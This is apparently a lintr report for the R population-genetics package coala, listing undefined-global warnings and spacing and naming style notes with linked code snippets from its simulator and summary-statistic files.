[R/model.R:132:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L132) *warning:* **no visible global function definition for ‘get_positions’**
```r
    pos <- get_positions(seg_sites[[locus]])
           ^~~~~~~~~~~~~
```
[R/model.R:133:21:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L133) *warning:* **no visible global function definition for ‘get_locus_length’**
```r
    locus_length <- get_locus_length(model, locus, total = FALSE)
                    ^~~~~~~~~~~~~~~~
```
[R/model.R:142:19:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/model.R#L142) *warning:* **no visible global function definition for ‘get_trio_locus’**
```r
    trio_locus <- get_trio_locus(seg_sites[[locus]])
                  ^~~~~~~~~~~~~~
```
[R/onLoad.R:3:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/onLoad.R#L3) *warning:* **no visible global function definition for ‘activate_scrm’**
```r
  activate_scrm()
  ^~~~~~~~~~~~~
```
[R/parameter_prior.R:30:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter_prior.R#L30) *warning:* **no visible binding for global variable ‘prior_par_class’**
```r
  prior_par_class$new(name, as.expression(substitute(prior)))
  ^~~~~~~~~~~~~~~
```
[R/parameter_prior.R:38:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter_prior.R#L38) *warning:* **no visible global function definition for ‘get_parameter’**
```r
  par <- get_parameter(model)
         ^~~~~~~~~~~~~
```
[R/parameter_prior.R:39:32:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter_prior.R#L39) *warning:* **no visible binding for global variable ‘is.prior_par’**
```r
  prior_par <- par[vapply(par, is.prior_par, logical(1))]
                               ^~~~~~~~~~~~
```
[R/parameter_variation.R:59:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter_variation.R#L59) *warning:* **no visible binding for global variable ‘variation_par_class’**
```r
  variation_par_class$new(par, variance)
  ^~~~~~~~~~~~~~~~~~~
```
[R/parameter.R:123:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L123) *warning:* **no visible binding for global variable ‘parameter_class’**
```r
  parameter_class$new(as.expression(substitute(expr)))
  ^~~~~~~~~~~~~~~
```
[R/parameter.R:135:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L135) *warning:* **no visible binding for global variable ‘parameter_class’**
```r
  parameter_class$new(as.expression(constant))
  ^~~~~~~~~~~~~~~
```
[R/parameter.R:144:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L144) *warning:* **no visible binding for global variable ‘named_par_class’**
```r
  named_par_class$new(name)
  ^~~~~~~~~~~~~~~
```
[R/parameter.R:166:11:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L166) *style:* **Place a space before left parenthesis, except in a function call.**
```r
      if ((!is.numeric(value)) || length(value) != 1) {
          ^
```
[R/parameter.R:192:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L192) *warning:* **no visible binding for global variable ‘range_par_class’**
```r
  range_par_class$new(lower, upper, name)
  ^~~~~~~~~~~~~~~
```
[R/parameter.R:203:25:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L203) *warning:* **no visible binding for global variable ‘par_eval_func’**
```r
    par_env[["par"]] <- par_eval_func
                        ^~~~~~~~~~~~~
```
[R/parameter.R:209:25:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L209) *warning:* **no visible binding for global variable ‘par_print_func’**
```r
    par_env[["par"]] <- par_print_func
                        ^~~~~~~~~~~~~~
```
[R/parameter.R:225:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L225) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.numeric(pars))
  ^~~~~~~~~~~
```
[R/parameter.R:229:18:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L229) *warning:* **no visible global function definition for ‘get_par_names’**
```r
    par_names <- get_par_names(model, without_priors = TRUE)
                 ^~~~~~~~~~~~~
```
[R/parameter.R:237:11:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/parameter.R#L237) *warning:* **no visible global function definition for ‘sample_par_priors’**
```r
  c(pars, sample_par_priors(model))
          ^~~~~~~~~~~~~~~~~
```
[R/segsites.R:47:11:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L47) *warning:* **no visible global function definition for ‘get_snps’**
```r
  snps <- get_snps(x)
          ^~~~~~~~
```
[R/segsites.R:48:28:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L48) *warning:* **no visible global function definition for ‘get_positions’**
```r
  colnames(snps) <- format(get_positions(x), scientific = FALSE)
                           ^~~~~~~~~~~~~
```
[R/segsites.R:62:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L62) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
as.matrix.segsites <- function(x, ...) get_snps(x)
^~~~~~~~~~~~~~~~~~
```
[R/segsites.R:75:19:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L75) *style:* **Place a space before left parenthesis, except in a function call.**
```r
  create_segsites((matrix(c(1, 1, 0, 1, 1,
                  ^
```
[R/segsites.R:83:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L83) *warning:* **no visible global function definition for ‘create_segsites’**
```r
  create_segsites(matrix(0, n_ind, 0), numeric(0))
  ^~~~~~~~~~~~~~~
```
[R/segsites.R:103:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L103) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.list(left) && is.list(middle) && is.list(right))
  ^~~~~~~~~~~
```
[R/segsites.R:104:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L104) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(length(left) == length(middle))
  ^~~~~~~~~~~
```
[R/segsites.R:105:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L105) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(length(left) == length(right))
  ^~~~~~~~~~~
```
[R/segsites.R:142:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L142) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
as.segsites.default <- function(data, ...) {
^~~~~~~~~~~~~~~~~~~
```
[R/segsites.R:147:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L147) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
as.segsites.list <- function(data, ...) {
^~~~~~~~~~~~~~~~
```
[R/segsites.R:148:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L148) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(all(vapply(data, is_segsites, logical(1))))
  ^~~~~~~~~~~
```
[R/segsites.R:148:32:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/segsites.R#L148) *warning:* **no visible binding for global variable ‘is_segsites’**
```r
  assert_that(all(vapply(data, is_segsites, logical(1))))
                               ^~~~~~~~~~~
```
[R/simulator_class.R:28:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L28) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is_simulator(simulator))
  ^~~~~~~~~~~
```
[R/simulator_class.R:28:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L28) *warning:* **no visible global function definition for ‘is_simulator’**
```r
  assert_that(is_simulator(simulator))
              ^~~~~~~~~~~~
```
[R/simulator_class.R:33:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L33) *warning:* **no visible binding for global variable ‘simulators’**
```r
  simulators[[name]]
  ^~~~~~~~~~
```
[R/simulator_class.R:40:19:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L40) *warning:* **no visible global function definition for ‘get_locus_length’**
```r
  locus_length <- get_locus_length(model, group = locus_group)
                  ^~~~~~~~~~~~~~~~
```
[R/simulator_class.R:41:25:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L41) *warning:* **no visible global function definition for ‘get_locus_number’**
```r
  total_locus_number <- get_locus_number(model, locus_group, TRUE)
                        ^~~~~~~~~~~~~~~~
```
[R/simulator_class.R:64:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L64) *warning:* **no visible global function definition for ‘reduce_sim_commands’**
```r
  reduce_sim_commands(sim_cmds)
  ^~~~~~~~~~~~~~~~~~~
```
[R/simulator_class.R:70:44:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L70) *style:* **Commas should never have a space before.**
```r
  grouped_commands <- unique(sim_commands[ , 2])
                                          ~^
```
[R/simulator_class.R:73:36:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L73) *style:* **Commas should never have a space before.**
```r
    sum(sim_commands[sim_commands[ , 2] == cmd, 1])
                                  ~^
```
[R/simulator_class.R:90:13:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_class.R#L90) *warning:* **no visible global function definition for ‘get_simulator’**
```r
    info <- get_simulator(simulator)$get_info()
            ^~~~~~~~~~~~~
```
[R/simulator_ms.R:67:37:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L67) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
        paste("ms", sample_size, cmd[ , 1], cmd[ , 2])
                                    ^
```
[R/simulator_ms.R:87:39:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L87) *style:* **Commas should never have a space before.**
```r
        paste("ms", sample_size, cmd[ , 1], cmd[ , 2])
                                     ~^
```
[R/simulator_ms.R:87:50:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L87) *style:* **Commas should never have a space before.**
```r
        paste("ms", sample_size, cmd[ , 1], cmd[ , 2])
                                                ~^
```
[R/simulator_ms.R:136:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L136) *warning:* **no visible global function definition for ‘register_simulator’**
```r
  register_simulator(ms_class$new(priority))
  ^~~~~~~~~~~~~~~~~~
```
[R/simulator_ms.R:136:22:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L136) *warning:* **no visible binding for global variable ‘ms_class’**
```r
  register_simulator(ms_class$new(priority))
                     ^~~~~~~~
```
[R/simulator_ms.R:137:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_ms.R#L137) *warning:* **no visible global function definition for ‘reset_cache’**
```r
  reset_cache()
  ^~~~~~~~~~~
```
[R/simulator_msms.R:109:41:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_msms.R#L109) *style:* **Commas should never have a space before.**
```r
        paste("msms", sample_size, cmd[ , 1], cmd[ , 2])
                                       ~^
```
[R/simulator_msms.R:109:52:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_msms.R#L109) *style:* **Commas should never have a space before.**
```r
        paste("msms", sample_size, cmd[ , 1], cmd[ , 2])
                                                  ~^
```
[R/simulator_msms.R:158:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_msms.R#L158) *warning:* **no visible global function definition for ‘reset_cache’**
```r
  reset_cache()
  ^~~~~~~~~~~
```
[R/simulator_scrm.R:11:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L11) *warning:* **no visible global function definition for ‘read_cache’**
```r
  cmd <- read_cache(model, "scrm_cmd")
         ^~~~~~~~~~
```
[R/simulator_scrm.R:17:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L17) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "scrm_cmd", cmd)
    ^~~~~
```
[R/simulator_scrm.R:83:41:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L83) *style:* **Commas should never have a space before.**
```r
        paste("scrm", sample_size, cmd[ , 1], cmd[ , 2])
                                       ~^
```
[R/simulator_scrm.R:83:52:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L83) *style:* **Commas should never have a space before.**
```r
        paste("scrm", sample_size, cmd[ , 1], cmd[ , 2])
                                                  ~^
```
[R/simulator_scrm.R:129:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L129) *warning:* **no visible global function definition for ‘register_simulator’**
```r
  register_simulator(scrm_class$new(priority))
  ^~~~~~~~~~~~~~~~~~
```
[R/simulator_scrm.R:129:22:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L129) *warning:* **no visible binding for global variable ‘scrm_class’**
```r
  register_simulator(scrm_class$new(priority))
                     ^~~~~~~~~~
```
[R/simulator_scrm.R:130:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_scrm.R#L130) *warning:* **no visible global function definition for ‘reset_cache’**
```r
  reset_cache()
  ^~~~~~~~~~~
```
[R/simulator_seqgen.R:5:17:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L5) *warning:* **no visible global function definition for ‘read_cache’**
```r
  tree_model <- read_cache(model, "tree_model")
                ^~~~~~~~~~
```
[R/simulator_seqgen.R:20:29:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L20) *warning:* **no visible global function definition for ‘create_sumstat_container’**
```r
    tree_model$sum_stats <- create_sumstat_container()
                            ^~~~~~~~~~~~~~~~~~~~~~~~
```
[R/simulator_seqgen.R:21:32:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L21) *warning:* **no visible global function definition for ‘sumstat_sg_trees’**
```r
    tree_model <- tree_model + sumstat_sg_trees()
                               ^~~~~~~~~~~~~~~~
```
[R/simulator_seqgen.R:23:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L23) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "tree_model", tree_model)
    ^~~~~
```
[R/simulator_seqgen.R:41:20:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L41) *warning:* **no visible global function definition for ‘get_locus_length’**
```r
  locus_lengths <- get_locus_length(model, group = locus, total = FALSE)
                   ^~~~~~~~~~~~~~~~
```
[R/simulator_seqgen.R:47:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L47) *warning:* **no visible global function definition for ‘sg_generate_opt_cmd’**
```r
  cmd <- sg_generate_opt_cmd(model)
         ^~~~~~~~~~~~~~~~~~~
```
[R/simulator_seqgen.R:61:10:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L61) *warning:* **no visible global function definition for ‘read_cache’**
```r
  cmd <- read_cache(model, "seqgen_cmd")
         ^~~~~~~~~~
```
[R/simulator_seqgen.R:74:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L74) *warning:* **no visible global function definition for ‘cache’, Did you mean 'cycle'?**
```r
    cache(model, "seqgen_cmd", cmd)
    ^~~~~
```
[R/simulator_seqgen.R:222:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L222) *warning:* **no visible global function definition for ‘register_simulator’**
```r
  register_simulator(seqgen_class$new(binary, priority))
  ^~~~~~~~~~~~~~~~~~
```
[R/simulator_seqgen.R:222:22:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L222) *warning:* **no visible binding for global variable ‘seqgen_class’**
```r
  register_simulator(seqgen_class$new(binary, priority))
                     ^~~~~~~~~~~~
```
[R/simulator_seqgen.R:223:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/simulator_seqgen.R#L223) *warning:* **no visible global function definition for ‘reset_cache’**
```r
  reset_cache()
  ^~~~~~~~~~~
```
[R/sumstat_dna.R:40:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_dna.R#L40) *warning:* **no visible binding for global variable ‘stat_dna_class’**
```r
  stat_dna_class$new(name, transformation)
  ^~~~~~~~~~~~~~
```
[R/sumstat_file.R:46:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_file.R#L46) *warning:* **no visible binding for global variable ‘stat_file_class’**
```r
  stat_file_class$new(folder)
  ^~~~~~~~~~~~~~~
```
[R/sumstat_four_gamete.R:73:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_four_gamete.R#L73) *warning:* **no visible binding for global variable ‘stat_four_gamete_class’**
```r
  stat_four_gamete_class$new(name, population, transformation)
  ^~~~~~~~~~~~~~~~~~~~~~
```
[R/sumstat_ihh.R:53:45:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_ihh.R#L53) *style:* **Commas should never have a space before.**
```r
                      iHS = data.frame(ihh[ , 1:2], iHS = rep(NA, n_snps))))
                                           ~^
```
[R/sumstat_ihh.R:61:55:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_ihh.R#L61) *style:* **Commas should never have a space before.**
```r
            data.frame(ihh2ihs(ihh, freqbin)$res.ihs[ , -4])
                                                     ~^
```
[R/sumstat_ihh.R:148:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_ihh.R#L148) *warning:* **no visible binding for global variable ‘stat_ihh_class’**
```r
  stat_ihh_class$new(name, population, max_snps, calc_ihs, transformation)
  ^~~~~~~~~~~~~~
```
[R/sumstat_jsfs.R:60:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_jsfs.R#L60) *warning:* **no visible binding for global variable ‘stat_jsfs_class’**
```r
  stat_jsfs_class$new(name, populations, per_locus, transformation)
  ^~~~~~~~~~~~~~~
```
[R/sumstat_mcmf.R:44:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_mcmf.R#L44) *warning:* **no visible binding for global variable ‘stat_mcmf_class’**
```r
  stat_mcmf_class$new(name, population, transformation)
  ^~~~~~~~~~~~~~~
```
[R/sumstat_nucleotide_div.R:46:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_nucleotide_div.R#L46) *warning:* **no visible binding for global variable ‘stat_pi_class’**
```r
  stat_pi_class$new(name, population, transformation)
  ^~~~~~~~~~~~~
```
[R/sumstat_omega.R:156:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_omega.R#L156) *warning:* **no visible binding for global variable ‘stat_omega_class’**
```r
  stat_omega_class$new(name, min_win, max_win, grid, binary, transformation)
  ^~~~~~~~~~~~~~~~
```
[R/sumstat_omega.R:160:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_omega.R#L160) *warning:* **no visible global function definition for ‘search_executable’**
```r
  !is.null(search_executable("OmegaPlus", envir_var = "OMEGAPLUS"))
           ^~~~~~~~~~~~~~~~~
```
[R/sumstat_seg_sites.R:30:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_seg_sites.R#L30) *warning:* **no visible binding for global variable ‘stat_segsites_class’**
```r
  stat_segsites_class$new(name, transformation)
  ^~~~~~~~~~~~~~~~~~~
```
[R/sumstat_seg_sites.R:36:21:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_seg_sites.R#L36) *warning:* **no visible global function definition for ‘get_locus_length’**
```r
    locus_length <- get_locus_length(model, i, total = FALSE)
                    ^~~~~~~~~~~~~~~~
```
[R/sumstat_seg_sites.R:42:12:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_seg_sites.R#L42) *warning:* **no visible global function definition for ‘get_positions’**
```r
    pos <- get_positions(seg_sites[[i]])
           ^~~~~~~~~~~~~
```
[R/sumstat_seg_sites.R:51:38:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_seg_sites.R#L51) *style:* **Commas should never have a space before.**
```r
    trio_segsites <- seg_sites[[i]][ , left | middle | right]
                                    ~^
```
[R/sumstat_seg_sites.R:60:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_seg_sites.R#L60) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(nrow(seg_sites[[i]]) > 0)
    ^~~~~~~~~~~
```
[R/sumstat_sfs.R:38:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_sfs.R#L38) *warning:* **no visible binding for global variable ‘stat_sfs_class’**
```r
  stat_sfs_class$new(name, population, transformation)
  ^~~~~~~~~~~~~~
```
[R/sumstat_tajimas_d.R:62:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_tajimas_d.R#L62) *warning:* **no visible binding for global variable ‘stat_tajimas_d_class’**
```r
  stat_tajimas_d_class$new(name, population, transformation)
  ^~~~~~~~~~~~~~~~~~~~
```
[R/sumstat_trees.R:28:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_trees.R#L28) *warning:* **no visible binding for global variable ‘stat_trees_class’**
```r
  stat_trees_class$new(name, identity)
  ^~~~~~~~~~~~~~~~
```
[R/sumstat_trees.R:57:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat_trees.R#L57) *warning:* **no visible binding for global variable ‘stat_sg_trees_class’**
```r
  stat_sg_trees_class$new("trees", identity)
  ^~~~~~~~~~~~~~~~~~~
```
[R/sumstat.R:71:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L71) *warning:* **no visible global function definition for ‘get_id’, Did you mean 'getwd'?**
```r
  model$id <- get_id()
              ^~~~~~
```
[R/sumstat.R:87:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L87) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.model(model))
  ^~~~~~~~~~~
```
[R/sumstat.R:87:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L87) *warning:* **no visible global function definition for ‘is.model’**
```r
  assert_that(is.model(model))
              ^~~~~~~~
```
[R/sumstat.R:89:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L89) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(!is.null(segsites_list))
    ^~~~~~~~~~~
```
[R/sumstat.R:90:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L90) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(all(vapply(segsites_list, is_segsites, logical(1))))
    ^~~~~~~~~~~
```
[R/sumstat.R:90:43:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L90) *warning:* **no visible binding for global variable ‘is_segsites’**
```r
    assert_that(all(vapply(segsites_list, is_segsites, logical(1))))
                                          ^~~~~~~~~~~
```
[R/sumstat.R:93:24:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L93) *warning:* **no visible global function definition for ‘remove_singletons’**
```r
      segsites_list <- remove_singletons(segsites_list)
                       ^~~~~~~~~~~~~~~~~
```
[R/sumstat.R:96:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L96) *warning:* **no visible global function definition for ‘requires_trees’**
```r
  if (requires_trees(model)) assert_that(!is.null(trees))
      ^~~~~~~~~~~~~~
```
[R/sumstat.R:96:30:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L96) *warning:* **no visible global function definition for ‘assert_that’**
```r
  if (requires_trees(model)) assert_that(!is.null(trees))
                             ^~~~~~~~~~~
```
[R/sumstat.R:97:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L97) *warning:* **no visible global function definition for ‘requires_files’**
```r
  if (requires_files(model)) assert_that(!is.null(files))
      ^~~~~~~~~~~~~~
```
[R/sumstat.R:97:30:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L97) *warning:* **no visible global function definition for ‘assert_that’**
```r
  if (requires_files(model)) assert_that(!is.null(files))
                             ^~~~~~~~~~~
```
[R/sumstat.R:111:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L111) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.model(model))
  ^~~~~~~~~~~
```
[R/sumstat.R:111:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L111) *warning:* **no visible global function definition for ‘is.model’**
```r
  assert_that(is.model(model))
              ^~~~~~~~
```
[R/sumstat.R:120:20:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L120) *warning:* **no visible global function definition for ‘conv_for_trios’**
```r
      seg_sites <- conv_for_trios(seg_sites, model)
                   ^~~~~~~~~~~~~~
```
[R/sumstat.R:176:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L176) *warning:* **no visible global function definition for ‘assert_that’**
```r
  assert_that(is.model(model))
  ^~~~~~~~~~~
```
[R/sumstat.R:176:15:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L176) *warning:* **no visible global function definition for ‘is.model’**
```r
  assert_that(is.model(model))
              ^~~~~~~~
```
[R/sumstat.R:179:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L179) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(is.list(trios))
    ^~~~~~~~~~~
```
